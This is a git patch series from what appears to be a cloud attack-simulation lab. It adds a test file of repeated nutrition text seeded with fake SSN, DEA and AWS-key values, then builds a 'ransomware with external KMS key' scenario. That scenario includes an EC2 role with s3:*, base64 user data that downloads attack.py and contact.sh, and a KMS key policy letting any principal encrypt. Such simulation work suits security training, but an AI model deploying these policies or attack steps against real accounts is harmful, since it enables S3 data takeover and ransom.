vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline_v2.txt b/scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline_v2.txt new file mode 100644 index 0000000..a7ee20d --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline_v2.txt @@ -0,0 +1,243 @@ + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Health care - DEA BB4053839 | BJ6125341 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + "positive": { + "aaki1": "022QF06E7MXBSH9DHM02 AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" + } + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. From 9c6a2754d18d2d830cbd51020a99a26d158c9900 Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Tue, 16 Jul 2024 18:52:50 +0530 Subject: [PATCH 66/76] Update infra --- scenarios/scenario_5/infra/__main__.py | 9 ++-- scenarios/scenario_5/scenario_5.py | 60 ++++++++++++++++++++------ 2 files changed, 50 insertions(+), 19 deletions(-) diff --git a/scenarios/scenario_5/infra/__main__.py b/scenarios/scenario_5/infra/__main__.py index 4ba1f04..958a25b 100644 --- a/scenarios/scenario_5/infra/__main__.py +++ b/scenarios/scenario_5/infra/__main__.py @@ -57,10 +57,7 @@ def read_public_key(pub_key_path): "Sid": "VisualEditor0", "Effect": "Allow", "Action": [ - "ec2:StartInstances", - "ec2:StopInstances", - "ec2:ModifyInstanceAttribute" - + "s3:*" ], "Resource": "*" } @@ -93,7 +90,7 @@ def read_public_key(pub_key_path): # User data script to be executed when the instance starts user_data_script = """ -IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlCnN1ZG8gYXB0IGluc3RhbGwgYXdzY2xpIC15CndnZXQgLVAgL2hvbWUvdWJ1bnR1LyBodHRwczovL2xhYi1maWxlcy0wMGZmYWFiY2MuczMuYW1hem9uYXdzLmNvbS91ZWJhLWxhYi9zZXJ2ZXIucHkKc3VkbyBjaG93biB1YnVudHU6dWJ1bnR1IC9ob21lL3VidW50dS9zZXJ2ZXIucHkKd2dldCAtUCAvaG9tZS91YnVudHUvIGh0dHBzOi8vY29icmEtdG9vbC1maWxlcy5zMy5hcC1zb3V0aC0xLmFtYXpvbmF3cy5jb20vc2NlbmFyaW8tNC91c2VyZGF0YS50eHQK +IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlIC15CnN1ZG8gYXB0IGluc3RhbGwgdW56aXAgLXkKc3VkbyBhcHQgaW5zdGFsbCBweXRob24zLXBpcCAteQpzdWRvIHBpcCBpbnN0YWxsIGJvdG8zCnN1ZG8gYXB0IGluc3RhbGwgYXdzY2xpIC15CndnZXQgLVAgL2hvbWUvdWJ1bnR1LyBodHRwczovL2xhYi1maWxlcy0wMGZmYWFiY2MuczMuYW1hem9uYXdzLmNvbS9yd2FyZS1sYWIvYXR0YWNrLnB5CnN1ZG8gY2hvd24gdWJ1bnR1OnVidW50dSAvaG9tZS91YnVudHUvYXR0YWNrLnB5CndnZXQgLVAgL2hvbWUvdWJ1bnR1IGh0dHBzOi8vbGFiLWZpbGVzLTAwZmZhYWJjYy5zMy5hbWF6b25hd3MuY29tL3J3YXJlLWxhYi9jb250YWN0LnNoCmNobW9kICt4IGNvbnRhY3Quc2gKc3VkbyBjaG93biB1YnVudHU6dWJ1bnR1IC9ob21lL3VidW50dS9jb250YWN0LnNoCg== """ instance_profile = aws.iam.InstanceProfile("my-instance-profile", @@ -106,7 +103,7 @@ def read_public_key(pub_key_path): ami=ubuntu_ami.id, iam_instance_profile=instance_profile.name, security_groups=[sg.name], - #user_data=user_data_script, + user_data=user_data_script, key_name=key_pair.key_name ) diff --git a/scenarios/scenario_5/scenario_5.py b/scenarios/scenario_5/scenario_5.py index 12421ac..5074c9f 100644 --- a/scenarios/scenario_5/scenario_5.py +++ b/scenarios/scenario_5/scenario_5.py @@ -11,24 +11,58 @@ from core.helpers import generate_ssh_key def scenario_5_execute(): - print("-"*30) - print(colored("Executing Scenraio 5 : Compromise instance, takover, use s3 access, perform ransomware with external kms key", color="red")) + # print("-"*30) + # print(colored("Executing Scenraio 5 : Compromise instance, takover, use s3 access, perform ransomware with external kms key", color="red")) + # loading_animation() + # print("-"*30) + + # print(colored("Rolling out Infra", color="red")) + # loading_animation() + # print("-"*30) + + # file_path = "./core/aws-scenario-5-output.json" + # if os.path.exists(file_path): + # os.remove(file_path) + # print("File '{}' found and deleted.".format(file_path)) + # else: + # print("File '{}' not found.".format(file_path)) + + # generate_ssh_key() + + # subprocess.call("cd ./scenarios/scenario_5/infra/ && pulumi up -s aws-scenario-5 -y", shell=True) + # subprocess.call("cd ./scenarios/scenario_5/infra/ && pulumi stack -s aws-scenario-5 output --json >> ../../../core/aws-scenario-5-output.json", shell=True) + + with open("./core/aws-scenario-5-output.json", "r") as file: + data = json.load(file) + + ATTACKER_SERVER_PUBLIC_IP = data["Attacker Server Public IP"] + BUCKET_NAME = data["Bucket Name"] + KMS_KEY="arn:aws:kms:us-east-1:829815287709:key/mrk-e924ca7d0bd24ea3af12e0bb47602321" + + # sleep_duration = 80 + # with tqdm(total=sleep_duration, desc="Infra coming up") as pbar: + # while sleep_duration > 0: + # sleep_interval = min(1, sleep_duration) + # sleep(sleep_interval) + + # pbar.update(sleep_interval) + # sleep_duration -= sleep_interval + + #Add Webapp attack here later + print(colored("Initiate Instance Takeover", color="red")) loading_animation() print("-"*30) + #subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} ''", shell=True) - print(colored("Rolling out Infra", color="red")) + + print(colored("Access bucket & encrypt the objects using external kms key", color="red")) loading_animation() print("-"*30) - - file_path = "./core/aws-scenario-5-output.json" - if os.path.exists(file_path): - os.remove(file_path) - print("File '{}' found and deleted.".format(file_path)) - else: - print("File '{}' not found.".format(file_path)) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo BUCKET_NAME={BUCKET_NAME}>>~/.bashrc && echo KMS_KEY={KMS_KEY}>>~/.bashrc'", shell=True) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'source ~/.bashrc && echo $BUCKET_NAME'", shell=True) + + + - generate_ssh_key() - subprocess.call("cd ./scenarios/scenario_5/infra/ && pulumi up -s aws-scenario-5 -y", shell=True) - subprocess.call("cd ./scenarios/scenario_5/infra/ && pulumi stack -s aws-scenario-5 output --json >> ../../../core/aws-scenario-5-output.json", shell=True) From 687b966f95c0ab520b87c86a33f7e01c534730a9 Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Wed, 17 Jul 2024 13:09:59 +0530 Subject: [PATCH 67/76] updating scenario 5 --- scenarios/scenario_5/scenario_5.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scenarios/scenario_5/scenario_5.py b/scenarios/scenario_5/scenario_5.py index 5074c9f..60afa35 100644 --- a/scenarios/scenario_5/scenario_5.py +++ b/scenarios/scenario_5/scenario_5.py @@ -58,8 +58,8 @@ def scenario_5_execute(): print(colored("Access bucket & encrypt the objects using external kms key", color="red")) loading_animation() print("-"*30) - subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo BUCKET_NAME={BUCKET_NAME}>>~/.bashrc && echo KMS_KEY={KMS_KEY}>>~/.bashrc'", shell=True) - subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'source ~/.bashrc && echo $BUCKET_NAME'", shell=True) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo BUCKET_NAME={BUCKET_NAME} | sudo tee -a /etc/environment && echo KMS_KEY={KMS_KEY} | sudo tee -a /etc/environment'", shell=True) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo $BUCKET_NAME'", shell=True) From 0ddeaedfa672335684950dc9c0fe6e541216d287 Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Thu, 1 Aug 2024 00:46:22 +0530 Subject: [PATCH 68/76] KMS Update --- scenarios/scenario_5/infra/__main__.py | 65 +++++++++++++++++++++++++- scenarios/scenario_5/scenario_5.py | 56 +++++++++++----------- 2 files changed, 91 insertions(+), 30 deletions(-) diff --git a/scenarios/scenario_5/infra/__main__.py b/scenarios/scenario_5/infra/__main__.py index 958a25b..7087faa 100644 --- a/scenarios/scenario_5/infra/__main__.py +++ b/scenarios/scenario_5/infra/__main__.py @@ -6,6 +6,7 @@ from pulumi_random import RandomPet import pulumi_synced_folder from pulumi_aws import s3 +import json def read_public_key(pub_key_path): with open(pub_key_path, "r") as f: @@ -13,7 +14,7 @@ def read_public_key(pub_key_path): return public_key -current = aws.get_region() +region = aws.get_region() key_pair = aws.ec2.KeyPair("my-key-pair", public_key=read_public_key("../../../id_rsa.pub")) @@ -122,6 +123,64 @@ def read_public_key(pub_key_path): acl=s3.CannedAcl.PRIVATE, ) +current = aws.get_caller_identity() +kmskey = aws.kms.Key("example", + description="An example symmetric encryption KMS key", + enable_key_rotation=True, + deletion_window_in_days=20, + policy=json.dumps({ + "Version": "2012-10-17", + "Id": "key-default-1", + "Statement": [ + { + "Sid": "Enable IAM User Permissions", + "Effect": "Allow", + "Principal": { + "AWS": f"arn:aws:iam::{current.account_id}:root", + }, + "Action": "kms:*", + "Resource": "*", + }, + { + "Sid": "Allow administration of the key", + "Effect": "Allow", + "Principal": { + "AWS": f"arn:aws:iam::{current.account_id}:role/aws-service-role/sso.amazonaws.com/AWSServiceRoleForSSO", + }, + "Action": [ + "kms:ReplicateKey", + "kms:Create*", + "kms:Describe*", + "kms:Enable*", + "kms:List*", + "kms:Put*", + "kms:Update*", + "kms:Revoke*", + "kms:Disable*", + "kms:Get*", + "kms:Delete*", + "kms:ScheduleKeyDeletion", + "kms:CancelKeyDeletion", + ], + "Resource": "*", + }, + { + "Sid": "Allow use of the key", + "Effect": "Allow", + "Principal": { + "AWS": "*", + }, + "Action": [ + "kms:DescribeKey", + "kms:Encrypt", + "kms:ReEncrypt*", + "kms:GenerateDataKey" + ], + "Resource": "*", + }, + ], + })) + # Export the public IP of the EC2 instance print("Attacker Server Public IP") @@ -152,7 +211,9 @@ def read_public_key(pub_key_path): pulumi.export("Key Pair Name", key_pair.key_name) -pulumi.export("Region", current.name) +pulumi.export("Region", region.name) pulumi.export("Bucket Name", s3_bucket.bucket) +pulumi.export("KMS Key", kmskey.arn) + diff --git a/scenarios/scenario_5/scenario_5.py b/scenarios/scenario_5/scenario_5.py index 60afa35..f7543cd 100644 --- a/scenarios/scenario_5/scenario_5.py +++ b/scenarios/scenario_5/scenario_5.py @@ -11,55 +11,55 @@ from core.helpers import generate_ssh_key def scenario_5_execute(): - # print("-"*30) - # print(colored("Executing Scenraio 5 : Compromise instance, takover, use s3 access, perform ransomware with external kms key", color="red")) - # loading_animation() - # print("-"*30) - - # print(colored("Rolling out Infra", color="red")) - # loading_animation() - # print("-"*30) + print("-"*30) + print(colored("Executing Scenraio 5 : Compromise instance, takover, use s3 access, perform ransomware with external kms key", color="red")) + loading_animation() + print("-"*30) + + print(colored("Rolling out Infra", color="red")) + loading_animation() + print("-"*30) - # file_path = "./core/aws-scenario-5-output.json" - # if os.path.exists(file_path): - # os.remove(file_path) - # print("File '{}' found and deleted.".format(file_path)) - # else: - # print("File '{}' not found.".format(file_path)) + file_path = "./core/aws-scenario-5-output.json" + if os.path.exists(file_path): + os.remove(file_path) + print("File '{}' found and deleted.".format(file_path)) + else: + print("File '{}' not found.".format(file_path)) - # generate_ssh_key() + generate_ssh_key() - # subprocess.call("cd ./scenarios/scenario_5/infra/ && pulumi up -s aws-scenario-5 -y", shell=True) - # subprocess.call("cd ./scenarios/scenario_5/infra/ && pulumi stack -s aws-scenario-5 output --json >> ../../../core/aws-scenario-5-output.json", shell=True) + subprocess.call("cd ./scenarios/scenario_5/infra/ && pulumi up -s aws-scenario-5 -y", shell=True) + subprocess.call("cd ./scenarios/scenario_5/infra/ && pulumi stack -s aws-scenario-5 output --json >> ../../../core/aws-scenario-5-output.json", shell=True) with open("./core/aws-scenario-5-output.json", "r") as file: data = json.load(file) ATTACKER_SERVER_PUBLIC_IP = data["Attacker Server Public IP"] BUCKET_NAME = data["Bucket Name"] - KMS_KEY="arn:aws:kms:us-east-1:829815287709:key/mrk-e924ca7d0bd24ea3af12e0bb47602321" + KMS_KEY = data["KMS Key"] - # sleep_duration = 80 - # with tqdm(total=sleep_duration, desc="Infra coming up") as pbar: - # while sleep_duration > 0: - # sleep_interval = min(1, sleep_duration) - # sleep(sleep_interval) + sleep_duration = 80 + with tqdm(total=sleep_duration, desc="Infra coming up") as pbar: + while sleep_duration > 0: + sleep_interval = min(1, sleep_duration) + sleep(sleep_interval) - # pbar.update(sleep_interval) - # sleep_duration -= sleep_interval + pbar.update(sleep_interval) + sleep_duration -= sleep_interval #Add Webapp attack here later print(colored("Initiate Instance Takeover", color="red")) loading_animation() print("-"*30) - #subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} ''", shell=True) + # #subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} ''", shell=True) print(colored("Access bucket & encrypt the objects using external kms key", color="red")) loading_animation() print("-"*30) - subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo BUCKET_NAME={BUCKET_NAME} | sudo tee -a /etc/environment && echo KMS_KEY={KMS_KEY} | sudo tee -a /etc/environment'", shell=True) - subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo $BUCKET_NAME'", shell=True) + #subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo BUCKET_NAME={BUCKET_NAME} | sudo tee -a /etc/environment && echo KMS_KEY={KMS_KEY} | sudo tee -a /etc/environment'", shell=True) + #subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo $BUCKET_NAME'", shell=True) From 866e500d0557033d721a0ac414921ba4a609e192 Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Thu, 1 Aug 2024 02:44:28 +0530 Subject: [PATCH 69/76] 